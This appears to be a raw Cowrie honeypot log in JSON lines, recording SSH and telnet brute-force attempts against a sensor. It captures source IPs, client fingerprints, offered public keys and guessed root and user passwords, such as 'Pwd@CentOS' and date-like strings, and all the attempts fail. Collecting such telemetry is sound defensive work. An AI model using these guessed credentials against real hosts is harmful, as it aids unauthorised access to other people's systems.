{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:85:3a:25:26:4c:ce:1d:af:19:d6:95:dc:14:85:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBZe76yPB6VF/7cgNgbs8TQp4meOu8GexIB7U6Wwzmu6/AU3dxIoXVOCCi43OPp9MwkZEQKXcvKwiLMhFZ8ea9UcykTN5Pn/0bAXzJg1C5nEaP5EUchKzxzpeXXepcsW9+f1fo1+NcwLGcjgBx6Zd30y5szbvu5PhVEqLDBPDfwI8xqSxJv6fMWqsS/C65Oy5l7QN8qGxwk02ii+beLQv+h1B9/64sXOt9+2Mr2gE23J6NLypRchxgmpXffnpQf/LbtwOoJnhtKoItJtL3jkhGSI+iZxisOfbXfKs9Do6+fkcezs2Lthm7GGtl39VRrAk0QlxwvMxpHISCOcHv1gd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.625827Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:06:15:bc:df:07:03:01:95:1a:82:eb:1c:7b:ef:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuWOWN9dSqsmbWuOzlq4ln+SgcaR6beamV9lGaGSbow9t0mUPh1EYqy9EM4j4i3VmDvi+XozTIb4+WqvySqMBHU2UBJSZPr3T/ZVoiBsX0dggYFIu39X5wvmDUHzmpeTsO6JZoxsCAhBcqW4ce6ibSiZsDOjIjFxP5lqD6U1NIRRWjst7iWOFzPa9Nb6eqwKCINI0AN11Nv/0Sl3fhViWHZG8wpSLEQD2BnwxTJOaxNVapaEkDkZ/rmgTVf3SpyMjyRCTkIqpo6yuDcCb4nhEDb1hGCcnNe/Z64PxBFSAjKQdL5mWGqWCVNVwSy/jg2+0a7LuXPHvA7OysSyka/Kp9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:06:15:bc:df:07:03:01:95:1a:82:eb:1c:7b:ef:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.645754Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:06:15:bc:df:07:03:01:95:1a:82:eb:1c:7b:ef:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuWOWN9dSqsmbWuOzlq4ln+SgcaR6beamV9lGaGSbow9t0mUPh1EYqy9EM4j4i3VmDvi+XozTIb4+WqvySqMBHU2UBJSZPr3T/ZVoiBsX0dggYFIu39X5wvmDUHzmpeTsO6JZoxsCAhBcqW4ce6ibSiZsDOjIjFxP5lqD6U1NIRRWjst7iWOFzPa9Nb6eqwKCINI0AN11Nv/0Sl3fhViWHZG8wpSLEQD2BnwxTJOaxNVapaEkDkZ/rmgTVf3SpyMjyRCTkIqpo6yuDcCb4nhEDb1hGCcnNe/Z64PxBFSAjKQdL5mWGqWCVNVwSy/jg2+0a7LuXPHvA7OysSyka/Kp9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.656484Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:17:a8:7c:cf:c3:64:d1:bb:76:c8:99:46:48:d0:70","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7QirS57fAtwEhAntiL4zdclgmIAMZvPw4laQ34b/mj","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d8:17:a8:7c:cf:c3:64:d1:bb:76:c8:99:46:48:d0:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.692910Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:17:a8:7c:cf:c3:64:d1:bb:76:c8:99:46:48:d0:70","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7QirS57fAtwEhAntiL4zdclgmIAMZvPw4laQ34b/mj","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.698847Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.739659Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85661864280701,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:06.733222Z","src_ip":"128.199.8.54","session":"becec6e0ba4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49037766456604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:06.775722Z","src_ip":"128.199.8.54","session":"b05f2ac7f6fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48392,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3959cffc4f","protocol":"telnet","message":"New connection: 128.199.8.54:48392 (159.203.135.109:23) [session: fe3959cffc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:11.730436Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":32946,"dst_ip":"10.17.0.5","dst_port":22,"session":"791488933e5d","protocol":"ssh","message":"New connection: 103.15.226.202:32946 (10.17.0.5:22) [session: 791488933e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:17.621344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:17.629673Z","src_ip":"103.15.226.202","session":"791488933e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:17.886529Z","src_ip":"103.15.226.202","session":"791488933e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:18.655304Z","src_ip":"103.15.226.202","session":"791488933e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:19.912661Z","src_ip":"103.15.226.202","session":"791488933e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31838345527649,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:45.048687Z","src_ip":"128.199.8.54","session":"fe3959cffc4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40190,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc7c459a3e9","protocol":"telnet","message":"New connection: 128.199.8.54:40190 (159.203.135.109:23) [session: 8fc7c459a3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:04.576061Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60574,"dst_ip":"159.203.135.109","dst_port":23,"session":"6816c60bb859","protocol":"telnet","message":"New connection: 128.199.8.54:60574 (159.203.135.109:23) [session: 6816c60bb859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:29.118094Z"}
{"eventid":"cowrie.session.closed","duration":34.43001890182495,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:39.005988Z","src_ip":"128.199.8.54","session":"8fc7c459a3e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38801,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdb0e016bc3a","protocol":"ssh","message":"New connection: 2.57.121.25:38801 (159.203.135.109:22) [session: cdb0e016bc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:39.799393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:39.805280Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:39.911829Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16031982","message":"login attempt [user/16031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:40.405442Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16011978","message":"login attempt [user/16011978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:41.513758Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15121978","message":"login attempt [user/15121978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:42.622506Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15121973","message":"login attempt [user/15121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:43.731714Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"150984","message":"login attempt [user/150984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:44.840467Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:45.950572Z","src_ip":"2.57.121.25","session":"cdb0e016bc3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.17","src_port":17300,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef70ddfa60fc","protocol":"ssh","message":"New connection: 103.75.71.17:17300 (10.17.0.5:22) [session: ef70ddfa60fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:55.772132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:55.777251Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:55.903788Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:c4:7e:9b:51:2a:06:69:d7:79:0a:97:6c:28:79:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWKodYPFh4yaGiaIpeT4+sUV1zZhBUMg8rP0Kz+RYXipDUZILaXxur6C4Sg8ZpNJEhMNIyOh2n7vVYj+/cPCYENonQt5ZTw3akSCWuPrgagQ3Ic+lYN63o8+WvTVNzF8wRcR41bI8MoevDPNlTwGLNzi9HGyRtQf3fLB1PBcGoulOufBdEFAg4p8IDeKMccVWLbyIJU8gKV4/cSe/yrgFTG0iloh9EAx8yffaUSJV/cYtSlkBNXtlpYGptFJyn6dZpzseBcz6xUK+5t2ze1LwMNMoNCwcpXoHesaQb3rs/8RYcBBPSmDShxYk3jK291GEdhvtvUvNs4r1paLy+ZuQh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:c4:7e:9b:51:2a:06:69:d7:79:0a:97:6c:28:79:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:56.862947Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:c4:7e:9b:51:2a:06:69:d7:79:0a:97:6c:28:79:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWKodYPFh4yaGiaIpeT4+sUV1zZhBUMg8rP0Kz+RYXipDUZILaXxur6C4Sg8ZpNJEhMNIyOh2n7vVYj+/cPCYENonQt5ZTw3akSCWuPrgagQ3Ic+lYN63o8+WvTVNzF8wRcR41bI8MoevDPNlTwGLNzi9HGyRtQf3fLB1PBcGoulOufBdEFAg4p8IDeKMccVWLbyIJU8gKV4/cSe/yrgFTG0iloh9EAx8yffaUSJV/cYtSlkBNXtlpYGptFJyn6dZpzseBcz6xUK+5t2ze1LwMNMoNCwcpXoHesaQb3rs/8RYcBBPSmDShxYk3jK291GEdhvtvUvNs4r1paLy+ZuQh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:56.866639Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:88:ca:6c:38:9d:d6:d1:4b:2b:f1:b1:d0:2c:0a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC39vD7KixbRa836ksePnTYgij7b66Cw+s5MqXOklfDSQbgsP6GJsbiqVZUhR3sfSJKBIzGpYT8QIabCsqeAWZIrlMSu/piM6cNl/hqK275Kj1JKSILZQKghXefltTJ2QkYW233OA6zyZtxZUmH3Z8H7XIOA0p32NEC+gkhX63BkM8nBSTIZzWGcT3muMW4+SIHHTuSLHZIhUhEpNE92cg18mT5JUoRg90UX3Kx7C1/NQJ1v710gGkSy9Tsy5OwolKHN5s1DNEarLEQs5f4ubFf6YOJT7Em5/nhJ4+k/pEGDJjctPPSS8Fj82DEkirM6trD2rt6SskWaJ2qGE3+/5nJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:88:ca:6c:38:9d:d6:d1:4b:2b:f1:b1:d0:2c:0a:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:56.989985Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:88:ca:6c:38:9d:d6:d1:4b:2b:f1:b1:d0:2c:0a:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC39vD7KixbRa836ksePnTYgij7b66Cw+s5MqXOklfDSQbgsP6GJsbiqVZUhR3sfSJKBIzGpYT8QIabCsqeAWZIrlMSu/piM6cNl/hqK275Kj1JKSILZQKghXefltTJ2QkYW233OA6zyZtxZUmH3Z8H7XIOA0p32NEC+gkhX63BkM8nBSTIZzWGcT3muMW4+SIHHTuSLHZIhUhEpNE92cg18mT5JUoRg90UX3Kx7C1/NQJ1v710gGkSy9Tsy5OwolKHN5s1DNEarLEQs5f4ubFf6YOJT7Em5/nhJ4+k/pEGDJjctPPSS8Fj82DEkirM6trD2rt6SskWaJ2qGE3+/5nJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:56.994126Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:73:0c:46:76:b6:cb:cd:ea:ed:9b:28:45:93:40:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFV6nEXLyLocUN9UPTyI82rDdYP7/t+QG+8NkycCiKFgEesiHHmzQ2603mNYcFMDj1I/XFf12xpF3KYUwFBbWvpqHo7MiBM3dgvxv+qjIWO6eKaRLKyn9xit4VjK0CVMBo08/oy/8/CpExBvUlmr6aIUUqAlRXHxbAVKUGSHeF75ZknfXMaY+Q5hTo8W5IOwgzFTsY160jSI2kgLravdmrDMo2V5ilA6BHSwMkubRfioQKj7lQeqV2ADjX1/FBC2QVKleZDwmU6pBDBJBkA4gbLb/X5L1EigdgKHZ66ltnG8V4YuZGdD51MthsEslLFwyXTAo+n0cXm/XGfgitgah/DLWB0PQrmyeuLmbhlvmGe2OR0ZY0VSRBvinglHg/ranWTZmbPCgEl1wg/xu314uEAHoEO/96ZmTzMMWC5ZUGIpLx9FI5xzub/ruXQbSHoy43P4G4ccdNfmJGeS1fyE79vaLwmDq7jVi1kxQ8c5RcnJPIjZDvmd2G/kFIuzsG3Mc2n8sVbv7okfvHpD2Z9kgXLa7eLlWlcnZi/NUMzrfxkyePrkfJi/Pc28dYB5sWXKrTQajxIR9CqY6Z6Zxz4MKCEzAGx/AP+Y/bV+MiV6YpETLesQAsHsQIzcDBzrM/JkY9L7Ag42eGMUp48oJ6fFNQIF69I9Q3Scc1LPkHoUBnsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:73:0c:46:76:b6:cb:cd:ea:ed:9b:28:45:93:40:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.117615Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:73:0c:46:76:b6:cb:cd:ea:ed:9b:28:45:93:40:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFV6nEXLyLocUN9UPTyI82rDdYP7/t+QG+8NkycCiKFgEesiHHmzQ2603mNYcFMDj1I/XFf12xpF3KYUwFBbWvpqHo7MiBM3dgvxv+qjIWO6eKaRLKyn9xit4VjK0CVMBo08/oy/8/CpExBvUlmr6aIUUqAlRXHxbAVKUGSHeF75ZknfXMaY+Q5hTo8W5IOwgzFTsY160jSI2kgLravdmrDMo2V5ilA6BHSwMkubRfioQKj7lQeqV2ADjX1/FBC2QVKleZDwmU6pBDBJBkA4gbLb/X5L1EigdgKHZ66ltnG8V4YuZGdD51MthsEslLFwyXTAo+n0cXm/XGfgitgah/DLWB0PQrmyeuLmbhlvmGe2OR0ZY0VSRBvinglHg/ranWTZmbPCgEl1wg/xu314uEAHoEO/96ZmTzMMWC5ZUGIpLx9FI5xzub/ruXQbSHoy43P4G4ccdNfmJGeS1fyE79vaLwmDq7jVi1kxQ8c5RcnJPIjZDvmd2G/kFIuzsG3Mc2n8sVbv7okfvHpD2Z9kgXLa7eLlWlcnZi/NUMzrfxkyePrkfJi/Pc28dYB5sWXKrTQajxIR9CqY6Z6Zxz4MKCEzAGx/AP+Y/bV+MiV6YpETLesQAsHsQIzcDBzrM/JkY9L7Ag42eGMUp48oJ6fFNQIF69I9Q3Scc1LPkHoUBnsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.127961Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:7d:8a:d0:10:16:ff:bc:2b:2a:2b:f0:48:fa:e7:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDvjXnqPRz12XZEzAXBdwbPb+AiFizdcd+eewab3bVLVZY973w0FuiZULugewZkHydFxeip8gYvIYHIzhJT5UKB7Ktx5r6OUzHmDufArwDgd1W7KDXOp/YwgXRx76rwi0bbpPzq6SL0roJTI6MqG3u53xrziGXy/rX3lhNBXIPZJiOoXAv0wCMeNsDHWPA4zktjNLfDe05AAm6viNO1NFQXqhp5ccFQr+w0zV80EVVKQVkPY5VbmzhxwTgxRznxIw4KD3xq7TrTucg6fidKQoZ0oa/O14I2H5/X5Wpsfv7sRuYF80WtTxdNIP9khKPZXhPa3ACojmTEK2SB5/VKLIAbrUXoeIclVSgfopuJqvJE0vu7Ci7B55DsifLGgNV4Kb0i+2WG7G2hoZBXvxdc8UUdiTeWtiZnLhvASHEELCwtncS3vHBoz2lH0t2bSBJXmkSUEFygZbwIkiP8zJUGFZxvicmnxAJD3yhJPiAvZUdj3e1/qV4OuqzRAs7b4+Bf40nb7VZcipqYgyI2kjtui/fzDNw9K0xHajfV7xlEOE4G2x2t8xc7QjFwHEF7+mfBpTayHd1ds3wklpeDemK1A9CyRJspI4D6PfDbAZrRqMVCzuEhzF72s1Xi4Lb7go+8zPbhlFBFR3tYS3S3uuTuwet8BN2BP2VOoSiGw4nn9n67Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:7d:8a:d0:10:16:ff:bc:2b:2a:2b:f0:48:fa:e7:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.249908Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
